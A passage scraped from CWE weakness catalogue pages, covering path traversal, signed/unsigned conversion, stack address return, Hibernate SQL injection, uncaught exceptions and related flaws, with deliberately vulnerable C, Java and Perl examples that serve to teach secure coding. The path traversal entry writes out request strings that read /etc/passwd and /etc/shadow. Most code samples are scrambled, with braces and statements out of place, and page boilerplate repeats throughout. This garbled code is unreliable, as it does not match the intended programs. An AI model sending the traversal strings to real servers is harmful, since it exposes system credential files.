may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Example 1 The following example demonstrates the weakness. (bad code)
Example Language: C
int foo = 0;
int storenum(int num) { static int counter = 0; }counter++; if (num > foo) foo = num; return foo; (bad code)
Example Language: Java
public classRace {
static int foo = 0;
public static void main() { new Threader().start(); foo = 1; public static class Threader extends Thread { public void run() { System.out.println(foo); }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-23: Relative Path Traversal
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following URLs are vulnerable to this attack: (bad code)
http://example.com.br/get-files.jsp?file=report.pdf
http://example.com.br/get-page.php?home=aaa.html http://example.com.br/some-page.asp?page=index.html A simple way to execute this attack is like this: (attack code)
http://example.com.br/get-files?file=../../../../somedir/somefile
http://example.com.br/../../../../etc/shadow http://example.com.br/get-files?file=../../../../etc/passwd Example 2 The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory. (bad code)
Example Language: Perl
my $dataPath = "/users/cwe/profiles";
my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; }print "</ul>\n"; While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as: (attack code)
../../../etc/passwd
The program would generate a profile pathname like this: (result)
/users/cwe/profiles/../../../etc/passwd
When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file: (result)
/etc/passwd
As a result, the attacker could read the entire text of the password file. Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined. Example 3 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.
This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Example 1 This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function. (bad code)
Example Language: C
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b'); // Here we can inject code to execute. The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution. Example 2 The following function returns a stack address. (bad code)
Example Language: C
char* getName() {
char name[STR_MAX]; }fillInName(name); return name;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-562: Return of Stack Variable Address
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.
Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following function returns a stack address. (bad code)
Example Language: C
char* getName() {
char name[STR_MAX]; }fillInName(name); return name;
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1070: Serializable Data Element Containing non-Serializable Item Elements
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a serializable, storable data element such as a field or member,
but the data element contains member elements that are not
serializable.
This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-195: Signed to Unsigned Conversion Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program. Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned. (bad code)
Example Language: C
unsigned int readdata () {
int amount = 0; }... if (result == ERROR) amount = -1; ... return amount; If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. Example 2 In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number. (bad code)
Example Language: C
unsigned int readdata () {
int amount = 0; }... amount = accessmainframe(); ... return amount; If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. Example 3 The following code is intended to read an incoming packet from a socket and extract one or more headers. (bad code)
Example Language: C
DataPacket *packet;
int numHeaders; PacketHeader *headers; sock=AcceptSocketConnection(); ReadPacket(packet, sock); numHeaders =packet->headers; if (numHeaders > 100) { ExitError("too many headers!"); }headers = malloc(numHeaders * sizeof(PacketHeader); ParsePacketHeaders(packet, headers); The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow. Example 4 This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed. (bad code)
Example Language: C
char* processNext(char* strm) {
char buf[512]; }short len = *(short*) strm; strm += sizeof(len); if (len <= 512) { memcpy(buf, strm, len); }process(buf); return strm + len; else { return -1; }The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm. Example 5 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 6 This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. (bad code)
Example Language: C
int proc_msg(char *s, int msg_len)
{
// Note space at the end of the string - assume all strings have preamble with space
}int pre_len = sizeof("preamble: "); char buf[pre_len - msg_len]; ... Do processing here if we get this far char *s = "preamble: message\n"; char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space) int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.
This issue can prevent the product from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1080: Source Code File with Excessive Number of Lines of Code
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities. While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-564: SQL Injection: Hibernate
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterUsing Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection. (bad code)
Example Language: Java
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1042: Static Member Data Element outside of a Singleton Class Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code contains a member element that is declared as static (but not final), in which
its parent class element
is not a singleton class - that is, a class element that can be used only once in
the 'to' association of a Create action.
This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1088: Synchronous Access of Remote Resource without Timeout
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.
This issue can prevent the product from running reliably, since an outage for the remote resource can cause the product to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-248: Uncaught Exception
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
When an exception is not caught, it may cause the program to crash or expose sensitive information.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Example 1 The following example attempts to resolve a hostname. (bad code)
Example Language: Java
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr(); }InetAddress addr = InetAddress.getByName(ip); ... out.println("hello " + addr.getHostName()); A DNS lookup failure will cause the Servlet to throw an exception. Example 2 The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s(). Example 3 EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-391: Unchecked Error Condition
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
